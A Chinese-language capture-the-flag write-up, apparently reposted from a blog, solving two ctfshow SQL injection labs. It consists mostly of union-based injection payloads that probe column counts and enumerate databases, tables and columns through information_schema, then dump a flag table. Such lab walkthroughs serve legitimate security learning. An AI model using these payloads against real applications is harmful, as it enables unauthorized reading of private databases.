CTF-show:sqli-libs(1)


From:https://blog.csdn.net/ZXT2804567059/article/details/120145182

1、web517

字符型注入-联合查询

(1)注入字符判断

提示是字符型,猜测是否为单引号

?id=1' and 1=1 --+正常回显,判断为单引号字符注入

(2)字段判断

?id=-1' order by 4 --+在字段为4时出现报错,于是知道有3个字段

(3)联合查询

回显判断:2,3字段

?id=-1' union select 1,2,3--+

回显

用户,所在数据库

?id=-1' union select 1,user(),database()--+

root权限

查询所有数据库

?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

ctfshow

发现ctfshow的数据库

查询ctfshow数据库下的表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow'--+

flag表

查询flag表下的列名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'--+

得到id和flag列

查询flag列下的数据

?id=-1' union select 1,2,group_concat(flag) from ctfshow.flag--+

2、web518

数字型-联合注入

(1)字段判断

?id=1 order by 3到4不能正常回显,有3个字段

(2)回显判断

?id=-1 union select 1,2,32,3字段可回显

2,3

(3)联合注入

信息收集:

?id=-1 union select 1,user(),database()

查询所有数据库:

?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata

数据库ctfshow下表的查询:

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow'

数据库下表flagaa的列的查询:

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flagaa'

列flagac下数据的查询

?id=-1 union select 1,2,group_concat(flagac) from ctfshow.flagaa


文章作者: 17mie32
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 17mie32 !
  目录